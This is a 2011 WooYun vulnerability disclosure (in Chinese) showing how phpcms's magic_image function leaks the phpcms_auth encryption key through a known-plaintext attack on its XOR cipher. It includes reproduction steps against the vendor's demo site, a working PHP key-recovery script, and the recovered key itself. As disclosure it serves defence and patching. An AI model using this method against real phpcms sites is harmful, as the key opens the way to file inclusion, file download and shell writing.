当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01824

漏洞标题:phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

相关厂商:盛大网络

漏洞作者: c4rp3nt3r

提交时间:2011-04-05 19:03

修复时间:2011-05-06 00:00

公开时间:2011-05-06 00:00

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-05: 细节已通知厂商并且等待厂商处理中
2011-04-06: 厂商已经确认,细节仅向厂商公开
2011-04-16: 细节向核心白帽子及相关领域专家公开
2011-04-26: 细节向普通白帽子公开
2011-05-06: 细节向实习白帽子公开
2011-05-06: 细节向公众公开

简要描述:

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
by c4rp3nt3r@0x50sec.org
phpcms又一个鸡肋,有木有~~~我只是证明漏洞的存在
phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。
《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795
已经说明了两个破解"phpcms_auth函数的加密密钥AUTH_KEY"的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。
上一篇说到"破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。"
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。

详细说明:

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。
《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》 WooYun: phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞
已经说明了两个破解"phpcms_auth函数的加密密钥AUTH_KEY"的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。
上一篇说到"破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。"
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。
来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。

// include global.fun.php
function magic_image($txt, $fonttype = 4)
{
if(empty($txt)) return false;
if(function_exists("imagepng"))
{
$txt = urlencode(phpcms_auth($txt, 'ENCODE', AUTH_KEY));
$txt = '<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.'" align="absmiddle">';
}
return $txt;
}


在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。
发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密,显示给用户的时候又会调用magic_image.php文件,对字符串解密并进行生成图片。
就是说:
我们可以自定义明文
并且我们也可以得到明文加密后的密文
这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可),不费什么力气。
--------------------
举例说明
1.在http://demo.phpcms.cn随便注册个普通用户会员
2.在跳蚤市场那
http://demo.phpcms.cn/info/sale/
随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22
随便发一条信息
使用邮箱为
mailc4rp3nt3r@gmail.com
3.最后找到我们发布的信息:
http://demo.phpcms.cn/2011/0405/366.html
查看邮箱图片的地址
http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
--------------------
好了
明文:mailc4rp3nt3r@gmail.com
密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
解密一下:

<?php
$key="mailc4rp3nt3r@gmail.com";
$txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D';
$txt=base64_decode(urldecode($txt));
for($i=0;$i<strlen($key);$i++)
{
$code .= $txt[$i] ^ $key[$i];
}
echo $code;
?>


运行结果:
$ php /var/www/vul.php
OXdcFVodxAcbCUeTgLBgOXdc
我们的密钥就是:
OXdcFVodxAcbCUeTgLBg

漏洞证明:

http://demo.phpcms.cn/ 此站密钥为 OXdcFVodxAcbCUeTgLBg

修复方案:

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2011-04-06 10:07

厂商回复:

谢谢c4rp3nt3r提交漏洞信息。

最新状态:

暂无